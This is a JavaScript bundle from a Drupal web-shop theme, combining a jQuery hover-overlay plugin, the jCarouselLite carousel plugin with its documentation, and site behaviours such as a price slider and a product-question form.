(function(a){if(!a.omr){a.omr=new Object()}a.omr.mosaic=function(c,b){var d=this;d.$el=a(c);d.el=c;d.$el.data("omr.mosaic",d);d.init=function(){d.options=a.extend({},a.omr.mosaic.defaultOptions,b);d.load_box()};d.load_box=function(){if(d.options.preload){a(d.options.backdrop,d.el).hide();a(d.options.overlay,d.el).hide();a(window).load(function(){if(d.options.options.animation=="fade"&&a(d.options.overlay,d.el).css("opacity")==0){a(d.options.overlay,d.el).css("filter","alpha(opacity=0)")}a(d.options.overlay,d.el).fadeIn(200,function(){a(d.options.backdrop,d.el).fadeIn(200)});d.allow_hover()})}else{a(d.options.backdrop,d.el).show();a(d.options.overlay,d.el).show();d.allow_hover()}};d.allow_hover=function(){switch(d.options.animation){case"fade":a(d.el).hover(function(){a(d.options.overlay,d.el).stop().fadeTo(d.options.speed,d.options.opacity)},function(){a(d.options.overlay,d.el).stop().fadeTo(d.options.speed,0)});break;case"slide":startX=a(d.options.overlay,d.el).css(d.options.anchor_x)!="auto"?a(d.options.overlay,d.el).css(d.options.anchor_x):"0px";startY=a(d.options.overlay,d.el).css(d.options.anchor_y)!="auto"?a(d.options.overlay,d.el).css(d.options.anchor_y):"0px";var f={};f[d.options.anchor_x]=d.options.hover_x;f[d.options.anchor_y]=d.options.hover_y;var e={};e[d.options.anchor_x]=startX;e[d.options.anchor_y]=startY;a(d.el).hover(function(){a(d.options.overlay,d.el).stop().animate(f,d.options.speed)},function(){a(d.options.overlay,d.el).stop().animate(e,d.options.speed)});break}};d.init()};a.omr.mosaic.defaultOptions={animation:"fade",speed:150,opacity:1,preload:0,anchor_x:"left",anchor_y:"bottom",hover_x:"0px",hover_y:"0px",overlay:".mosaic-overlay",backdrop:".mosaic-backdrop"};a.fn.mosaic=function(b){return this.each(function(){(new a.omr.mosaic(this,b))})}})(jQuery);;
/**
 * jCarouselLite - jQuery plugin to navigate images/any content in a carousel style widget.
 * @requires jQuery v1.2 or above
 *
 * http://gmarwaha.com/jquery/jcarousellite/
 *
 * Copyright (c) 2007 Ganeshji Marwaha (gmarwaha.com)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 *
 * Version: 1.0.1
 * Note: Requires jquery 1.2 or above from version 1.0.1
 */

/**
 * Creates a carousel-style navigation widget for images/any-content from a simple HTML markup.
 *
 * The HTML markup that is used to build the carousel can be as simple as...
 *
 *  <div class="carousel">
 *      <ul>
 *          <li><img src="image/1.jpg" alt="1"></li>
 *          <li><img src="image/2.jpg" alt="2"></li>
 *          <li><img src="image/3.jpg" alt="3"></li>
 *      </ul>
 *  </div>
 *
 * As you can see, this snippet is nothing but a simple div containing an unordered list of images.
 * You don't need any special "class" attribute, or a special "css" file for this plugin.
 * I am using a class attribute just for the sake of explanation here.
 *
 * To navigate the elements of the carousel, you need some kind of navigation buttons.
 * For example, you will need a "previous" button to go backward, and a "next" button to go forward.
 * This need not be part of the carousel "div" itself. It can be any element in your page.
 * Lets assume that the following elements in your document can be used as next, and prev buttons...
 *
 * <button class="prev">&lt;&lt;</button>
 * <button class="next">&gt;&gt;</button>
 *
 * Now, all you need to do is call the carousel component on the div element that represents it, and pass in the
 * navigation buttons as options.
 *
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev"
 * });
 *
 * That's it, you would have now converted your raw div, into a magnificient carousel.
 *
 * There are quite a few other options that you can use to customize it though.
 * Each will be explained with an example below.
 *
 * @param an options object - You can specify all the options shown below as an options object param.
 *
 * @option btnPrev, btnNext : string - no defaults
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev"
 * });
 * @desc Creates a basic carousel. Clicking "btnPrev" navigates backwards and "btnNext" navigates forward.
 *
 * @option btnGo - array - no defaults
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev",
 *      btnGo: [".0", ".1", ".2"]
 * });
 * @desc If you don't want next and previous buttons for navigation, instead you prefer custom navigation based on
 * the item number within the carousel, you can use this option. Just supply an array of selectors for each element
 * in the carousel. The index of the array represents the index of the element. What i mean is, if the
 * first element in the array is ".0", it means that when the element represented by ".0" is clicked, the carousel
 * will slide to the first element and so on and so forth. This feature is very powerful. For example, i made a tabbed
 * interface out of it by making my navigation elements styled like tabs in css. As the carousel is capable of holding
 * any content, not just images, you can have a very simple tabbed navigation in minutes without using any other plugin.
 * The best part is that, the tab will "slide" based on the provided effect. :-)
 *
 * @option mouseWheel : boolean - default is false
 * @example
 * $(".carousel").jCarouselLite({
 *      mouseWheel: true
 * });
 * @desc The carousel can also be navigated using the mouse wheel interface of a scroll mouse instead of using buttons.
 * To get this feature working, you have to do 2 things. First, you have to include the mouse-wheel plugin from brandon.
 * Second, you will have to set the option "mouseWheel" to true. That's it, now you will be able to navigate your carousel
 * using the mouse wheel. Using buttons and mouseWheel or not mutually exclusive. You can still have buttons for navigation
 * as well. They complement each other. To use both together, just supply the options required for both as shown below.
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev",
 *      mouseWheel: true
 * });
 *
 * @option auto : number - default is null, meaning autoscroll is disabled by default
 * @example
 * $(".carousel").jCarouselLite({
 *      auto: 800,
 *      speed: 500
 * });
 * @desc You can make your carousel auto-navigate itself by specfying a millisecond value in this option.
 * The value you specify is the amount of time between 2 slides. The default is null, and that disables auto scrolling.
 * Specify this value and magically your carousel will start auto scrolling.
 *
 * @option speed : number - 200 is default
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev",
 *      speed: 800
 * });
 * @desc Specifying a speed will slow-down or speed-up the sliding speed of your carousel. Try it out with
 * different speeds like 800, 600, 1500 etc. Providing 0, will remove the slide effect.
 *
 * @option easing : string - no easing effects by default.
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev",
 *      easing: "bounceout"
 * });
 * @desc You can specify any easing effect. Note: You need easing plugin for that. Once specified,
 * the carousel will slide based on the provided easing effect.
 *
 * @option vertical : boolean - default is false
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev",
 *      vertical: true
 * });
 * @desc Determines the direction of the carousel. true, means the carousel will display vertically. The next and
 * prev buttons will slide the items vertically as well. The default is false, which means that the carousel will
 * display horizontally. The next and prev items will slide the items from left-right in this case.
 *
 * @option circular : boolean - default is true
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev",
 *      circular: false
 * });
 * @desc Setting it to true enables circular navigation. This means, if you click "next" after you reach the last
 * element, you will automatically slide to the first element and vice versa. If you set circular to false, then
 * if you click on the "next" button after you reach the last element, you will stay in the last element itself
 * and similarly for "previous" button and first element.
 *
 * @option visible : number - default is 3
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev",
 *      visible: 4
 * });
 * @desc This specifies the number of items visible at all times within the carousel. The default is 3.
 * You are even free to experiment with real numbers. Eg: "3.5" will have 3 items fully visible and the
 * last item half visible. This gives you the effect of showing the user that there are more images to the right.
 *
 * @option start : number - default is 0
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev",
 *      start: 2
 * });
 * @desc You can specify from which item the carousel should start. Remember, the first item in the carousel
 * has a start of 0, and so on.
 *
 * @option scrool : number - default is 1
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev",
 *      scroll: 2
 * });
 * @desc The number of items that should scroll/slide when you click the next/prev navigation buttons. By
 * default, only one item is scrolled, but you may set it to any number. Eg: setting it to "2" will scroll
 * 2 items when you click the next or previous buttons.
 *
 * @option beforeStart, afterEnd : function - callbacks
 * @example
 * $(".carousel").jCarouselLite({
 *      btnNext: ".next",
 *      btnPrev: ".prev",
 *      beforeStart: function(a) {
 *          alert("Before animation starts:" + a);
 *      },
 *      afterEnd: function(a) {
 *          alert("After animation ends:" + a);
 *      }
 * });
 * @desc If you wanted to do some logic in your page before the slide starts and after the slide ends, you can
 * register these 2 callbacks. The functions will be passed an argument that represents an array of elements that
 * are visible at the time of callback.
 *
 *
 * @cat Plugins/Image Gallery
 * @author Ganeshji Marwaha/ganeshread@gmail.com
 */

(function($) {                                          // Compliant with jquery.noConflict()
$.fn.jCarouselLite = function(o) {
    o = $.extend({
        btnPrev: null,
        btnNext: null,
        btnGo: null,
        mouseWheel: false,
        auto: null,

        speed: 200,
        easing: null,

        vertical: false,
        circular: true,
        visible: 3,
        start: 0,
        scroll: 1,

        beforeStart: null,
        afterEnd: null
    }, o || {});

    return this.each(function() {                           // Returns the element collection. Chainable.

        var running = false, animCss=o.vertical?"top":"left", sizeCss=o.vertical?"height":"width";
        var div = $(this), ul = $("ul", div), tLi = $("li", ul), tl = tLi.size(), v = o.visible;

        if(o.circular) {
            ul.prepend(tLi.slice(tl-v-1+1).clone())
              .append(tLi.slice(0,v).clone());
            o.start += v;
        }

        var li = $("li", ul), itemLength = li.size(), curr = o.start;
        div.css("visibility", "visible");

        li.css({overflow: "hidden", float: o.vertical ? "none" : "left"});
        ul.css({margin: "0", padding: "0", position: "relative", "list-style-type": "none", "z-index": "1"});
        div.css({overflow: "hidden", position: "relative", "z-index": "2", left: "0px"});

        var liSize = o.vertical ? height(li) : width(li);   // Full li size(incl margin)-Used for animation
        var ulSize = liSize * itemLength;                   // size of full ul(total length, not just for the visible items)
        var divSize = liSize * v;                           // size of entire div(total length for just the visible items)

        li.css({width: li.width(), height: li.height()});
        ul.css(sizeCss, ulSize+"px").css(animCss, -(curr*liSize));

        div.css(sizeCss, divSize+"px");                     // Width of the DIV. length of visible images

        if(o.btnPrev)
            $(o.btnPrev).click(function() {
                return go(curr-o.scroll);
            });

        if(o.btnNext)
            $(o.btnNext).click(function() {
                return go(curr+o.scroll);
            });

        if(o.btnGo)
            $.each(o.btnGo, function(i, val) {
                $(val).click(function() {
                    return go(o.circular ? o.visible+i : i);
                });
            });

        if(o.mouseWheel && div.mousewheel)
            div.mousewheel(function(e, d) {
                return d>0 ? go(curr-o.scroll) : go(curr+o.scroll);
            });
/*
        if(o.auto)
            setInterval(function() {
                go(curr+o.scroll);
            }, o.auto+o.speed);
*/
if(o.auto) {
        autoScroll = setInterval(function() {
            go(curr+o.scroll);
        }, o.auto+o.speed);

        div.hover(
            function() {
                clearInterval(autoScroll);
            },
            function() {
                autoScroll = setInterval(function() {
                    go(curr+o.scroll);
                    }, o.auto+o.speed);
            }
        );
    }

        function vis() {
            return li.slice(curr).slice(0,v);
        };

        function go(to) {
            if(!running) {

                if(o.beforeStart)
                    o.beforeStart.call(this, vis());

                if(o.circular) {            // If circular we are in first or last, then goto the other end
                    if(to<=o.start-v-1) {           // If first, then goto last
                        ul.css(animCss, -((itemLength-(v*2))*liSize)+"px");
                        // If "scroll" > 1, then the "to" might not be equal to the condition; it can be lesser depending on the number of elements.
                        curr = to==o.start-v-1 ? itemLength-(v*2)-1 : itemLength-(v*2)-o.scroll;
                    } else if(to>=itemLength-v+1) { // If last, then goto first
                        ul.css(animCss, -( (v) * liSize ) + "px" );
                        // If "scroll" > 1, then the "to" might not be equal to the condition; it can be greater depending on the number of elements.
                        curr = to==itemLength-v+1 ? v+1 : v+o.scroll;
                    } else curr = to;
                } else {                    // If non-circular and to points to first or last, we just return.
                    if(to<0 || to>itemLength-v) return;
                    else curr = to;
                }                           // If neither overrides it, the curr will still be "to" and we can proceed.

                running = true;

                ul.animate(
                    animCss == "left" ? { left: -(curr*liSize) } : { top: -(curr*liSize) } , o.speed, o.easing,
                    function() {
                        if(o.afterEnd)
                            o.afterEnd.call(this, vis());
                        running = false;
                    }
                );
                // Disable buttons when the carousel reaches the last/first, and enable when not
                if(!o.circular) {
                    $(o.btnPrev + "," + o.btnNext).removeClass("disabled");
                    $( (curr-o.scroll<0 && o.btnPrev)
                        ||
                       (curr+o.scroll > itemLength-v && o.btnNext)
                        ||
                       []
                     ).addClass("disabled");
                }

            }
            return false;
        };
    });
};

function css(el, prop) {
    return parseInt($.css(el[0], prop)) || 0;
};
function width(el) {
    return  el[0].offsetWidth + css(el, 'marginLeft') + css(el, 'marginRight');
};
function height(el) {
    return el[0].offsetHeight + css(el, 'marginTop') + css(el, 'marginBottom');
};

})(jQuery);;
// $Id: dekasstoor-script.js,v 1.0 2:39 PM 15-2-11 ms Exp $

Drupal.behaviors.dekasstoorFirstWord = function (context) {
  $('#site-name a').each(function(){
      var bt = $(this);
      bt.html( bt.text().replace(/(^\w+)/,'<span class="first-word">$1</span>') );
  });
  $('.title-dual h2.block-title').each(function(){
      var bt = $(this);
      bt.html( bt.text().replace(/(^\w+)/,'<span class="first-word">$1</span>') );
  });
  $('.title-white-bold-first h2.block-title').each(function(){
      var bt = $(this);
      bt.html( bt.text().replace(/(^\w+)/,'<span class="first-word">$1</span>') );
  });
};

Drupal.behaviors.dekasstoorRoundedCorner = function (context) {
	/*
	//alert( 'hi?!' );
  // Header site info - Without preface top
  $("#header-site-info.without-preface-top #header-site-info-inner").corner("tl tr bl br 10px");

  // Header site info - With preface top
  $("#header-site-info.with-preface-top #header-site-info-inner").corner("tl tr 10px");

  // Preface top
  $(".banner-background #preface-top .preface-top-inner").corner("bl br 10px");

  // Links 
  $("div.links").corner("7px"); 

  //Terms
  $("div.terms").corner("7px"); 

  // Rounded corners with gray background
  $(".rounded-corners-gray-background .inner").corner("10px");
  
  $(".imagecache-wysiwyg_imageupload_preview").corner("14px");
  */
  //$.fn.corner.defaults.useNative = false;
  //$(".block-menu_block").corner( "8px" );
  $("#sidebar-left .block-header").corner( "8px tl tr" );
  $("#block-block-4 .block-header").corner("tr tl");
  $("#block-block-7 .block-header").corner("tr tl");
  $("#block-views-sale-block_1 .views-row .views-field-title").corner( "tl tr 8px" );
  $("#content-preface img").corner("tl tr 8px");
  
  // No Native for Images 
  $.fn.corner.defaults.useNative = false;
  $(".rounded").corner();//("round 8px").parent().css('padding', '4px').corner("round 10px");
  
  //$('#slide-preface-right').cycle({ fx: 'slide', speed: 'fast', timeout: 3000 });
  $("#slide-preface-right").cycle({fx:"fade", pager:"#slide-right-pager", timeout:5200, pause:1 });
  $(".view-preface-filiaal-centrum .view-content").cycle({fx:"fade", timeout:5200, pause:1 });
  $(".view-preface-filiaal-ijburg .view-content").cycle({fx:"fade", timeout:5200, pause:1 });
  $(".view-preface-filiaal-centrum-ijburg .view-content").cycle({fx:"fade", timeout:5200, pause:1 });
  //$("#block-views-promo_front_left-block_1 .view-content").cycle( { fx:'scrollUp' } );
  
  //$(".rounded-border-inner").corner("round 8px").parent().css("padding", "1px").corner("round 10px");
  //$("#slide-preface-right").corner("14px");
};

Drupal.behaviors.dekasstoorIE6fixes = function (context) {
  // IE6 & less-specific functions
  // Add hover class to primary menu li elements on hover
  if ($.browser.msie && ($.browser.version < 7)) {
    $('span.button span input').hover(function() {
      $(this).addClass('hover');
      }, function() {
        $(this).removeClass('hover');
    }); 
    $('span.button-wrapper').hover(function() {
      $(this).addClass('hover');
      }, function() {
        $(this).removeClass('hover');
    });
    $('#primary-menu ul.menu li').hover(function() {
      $(this).addClass('hover');
      }, function() {
        $(this).removeClass('hover');
    });
    $('#secondary-menu ul.links li').hover(function() {
      $(this).addClass('hover');
      }, function() {
        $(this).removeClass('hover');
    });
  };
};

Drupal.behaviors.initCufon = function( context ) {
	Cufon.replace('h2');
	Cufon.replace('h3');
	//Cufon.replace('#nav .sf-menu:has(ul) > li a', {hover: 'true'}); // 2nd Level Only : Cufon.replace('ul:not(:has(ul)) a', { hover: true, fontWeight: 700});
	Cufon.replace('#superfish-1');
	Cufon.replace('#block-views-promo_front_left-block_1 .views-field-title');
	Cufon.replace('#block-views-promo_front_left-block_1 .views-field-body');
	Cufon.replace('#block-views-news_front-block_1 .views-field-title');
	Cufon.replace('#footer h1');
	Cufon.replace('#footer h2');
	Cufon.replace('#footer h3');
	Cufon.replace( '#block-uc_upsell-0 h3' );
	//Cufon.replace('#block-views-promo_front_left-block_1 .views-row');
}

Drupal.behaviors.applyOverlabel = function( context ) {
	$('#finder-header #edit-5-wrapper label').overlabel();
	$('#finder-header #edit-5-1-wrapper label').overlabel();
}

Drupal.behaviors.initUpsellCaptions = function( context ) {
	$('.upsell-block-product').mosaic({
		animation	:	'slide',
	    speed		: 200,
	    opacity		: 0.8,
	    preload		: 0,
	    anchor_x	: 'left',
	    anchor_y	: 'bottom',
	    hover_x		: '4px',
	    hover_y		: '0px',
	    overlay  	: '.add-to-cart',	//Mosaic overlay
		backdrop 	: '.upsell-product-info'	//Mosaic backdrop
	});
	
	$('.cart-related-item').mosaic({
		animation	:	'slide',
	    speed		: 200,
	    opacity		: 0.8,
	    preload		: 0,
	    anchor_x	: 'left',
	    anchor_y	: 'bottom',
	    hover_x		: '4px',
	    hover_y		: '0px',
	    overlay  	: '.add-to-cart',	//Mosaic overlay
		backdrop 	: '.upsell-product-info'	//Mosaic backdrop
	});
	
	$('#block-views-products_latest-block_1 .views-row').mosaic({
		animation	:	'slide',
	    speed		: 200,
	    opacity		: 0.8,
	    preload		: 0,
	    anchor_x	: 'left',
	    anchor_y	: 'bottom',
	    hover_x		: '4px',
	    hover_y		: '0px',
	    overlay  	: '.views-field-teaser',	//Mosaic overlay
		backdrop 	: '.views-row'	//Mosaic backdrop
	});
	//console.log( context );
	/*
	$('#front-products .views-row').mosaic({
		animation	:	'slide',
	    speed		: 200,
	    opacity		: 0.8,
	    preload		: 0,
	    anchor_x	: 'left',
	    anchor_y	: 'bottom',
	    hover_x		: '0px',
	    hover_y		: '0px',
	    overlay  	: '.views-field-teaser',	//Mosaic overlay
		backdrop 	: '.views-row'	//Mosaic backdrop
	});
	*/
}

if (Drupal.jsEnabled) {
	/*
	Drupal.behaviors.productPriceSliderValues = function() {
		
		var min = $('input#edit-slider-sell-price-min');
        var max = $('input#edit-slider-sell-price-max');

		var minprice = parseInt(Drupal.settings.minprice);
		var maxprice = parseInt(Drupal.settings.maxprice);
		
		min.val( minprice );
		max.val( maxprice );
		
	}
	*/

    Drupal.behaviors.productPriceSlider = function() {
	
		//console.log( Drupal.settings.minprice );
		// Min / Max Inputs 
        var min = $('input#edit-slider-sell-price-min');
        var max = $('input#edit-slider-sell-price-max');

		var minprice = parseInt(Drupal.settings.minprice);
		var maxprice = parseInt(Drupal.settings.maxprice);
		
		// Insert ammount div 
		min.parents('div.views-widget').before($('<input id="amount" type="text" style="margin:0;padding:0;border:0;color:#333;"></div>'));
		// Currency 
		var currency = '€';
		
        if (!min.length || !max.length) {
            // No min/max elements on this page
            return;
        }

        // Set default values or use those passed into the form
        var init_min = ('' == min.val()) ? minprice: min.val();
        var init_max = ('' == max.val()) ? maxprice: max.val();

        // Set initial values of the slider
        min.val(init_min);
        max.val(init_max);

        // Insert the slider before the min/max input elements
        min.parents('div.views-widget').before(
        $('<div></div>').slider({
            range: true,
            min: minprice,
            // Adjust slider min and max to the range
            max: maxprice,
            // of the exposed filter.
            values: [init_min, init_max],
			step: 1,
            slide: function(event, ui) {
                // Update the form input elements with the new values when the slider moves
                min.val(ui.values[0]);
                max.val(ui.values[1]);
				//console.log( ui.values[0] + "-" + ui.values[1] );
				// Display Values 
				$('#amount').val( currency + ui.values[ 0 ] + " - " + currency + ui.values[ 1 ] );
            },
            stop: function(event, ui) {
                $(this).parents('form').submit();
            }
        })
        ).hide();
		$( "#amount" ).val( currency + $( ".ui-slider-horizontal" ).slider( "values", 0 ) + " - " + currency + $( ".ui-slider-horizontal" ).slider( "values", 1 ) );
        // Add .hide() before the ';' to remove the input elements altogether.
    };

}

/* UI Selects */
Drupal.behaviors.styleSelects = function( context ) {
	
	//$('.views-exposed-widget select').selectmenu({style:'dropdown',width:140,menuWidth:140});
	
}

/* Questions */
Drupal.behaviors.initProductQuestions = function(context) {
	
	var pathname = window.location.pathname;
	
	$('#product-name-question').text( 'Via dit contact formulier kunt u vragen stellen mbt: ' + Drupal.settings.product_name );
	
    $('#product_question_form .error').hide();
    $('#product_question_form input.text-input').css({
        backgroundColor: "#FFFFFF"
    });
    $('#product_question_form .text-input').focus(function() {
        $(this).css({
            backgroundColor: "#EDF4F7"
        });
    });
    $('#product_question_form .text-input').blur(function() {
        $(this).css({
            backgroundColor: "#FFFFFF"
        });
    });

    $("#product_question_form .button").click(function() {
        // validate and process form
        // first hide any error messages
        $('#product_question_form .error').hide();

        var name = $("#product_question_form input#name").val();
        if (name == "") {
            $("#product_question_form #name").css({border:'1px solid #ff00'});
            $("#product_question_form input#name").focus();
            return false;
        }
        var email = $("#product_question_form input#email").val();
        if (email == "") {
            $("#product_question_form label#email_error").show();
            $("#product_question_form input#email").focus();
            return false;
        }
        var phone = $("#product_question_form input#phone").val();

        var question = $("#product_question_form #question").val();
        if (question == "") {
            $("#product_question_form label#question_error").show();
            $("#product_question_form #question").focus();
            return false;
        }

        var dataString = 'name=' + name + '&email=' + email + '&phone=' + phone + '&question=' + question + '&product=' + Drupal.settings.product_name;
        //alert(dataString);
        //return false;
		$('#product_question_form .button').attr('disabled', 'disabled')

        $.ajax({
            type: "POST",
            url: "/~dekassto/site/sites/all/themes/dekasstoor/php/questions/questions.php",
            data: dataString,
            success: function() {
                $('#product_question_form ').html("<div id='message'></div>");
                $('#product_question_form #message').html("<h2>Uw vraag is verstuurd!</h2>")
                .append("<p>Wij nemen zo spoedig mogelijk contact met u op.</p>")
                .hide()
                .fadeIn(1500,
                function() {
                    $('#product_question_form #message').append("<img id='checkmark' src='/~dekassto/site/sites/all/themes/dekasstoor/images/questions/check.png' />");
                });
            }
        });
        return false;
    });
}

Drupal.behaviors.initProductsFront = function( context ) {
	/*
	function mycarousel_initCallback(carousel) {
		// Pause autoscrolling if the user moves with the cursor over the clip.
		carousel.clip.hover(function() {
			carousel.stopAuto();
		}, function() {
			carousel.startAuto();
		});
	};
	
	$("#front-products .item-list ul").jcarousel({
		auto: 5,
		scroll: 1,
		wrap: 'circular',
		easing: 'swing',
		buttonNextHTML: null,
		buttonPrevHTML: null,
		initCallback: mycarousel_initCallback
	});
	*/
	$("#front-products .item-list").jCarouselLite({
	    auto: 5000,
	    speed: 800,
		visible: 4
	});
	
}
;

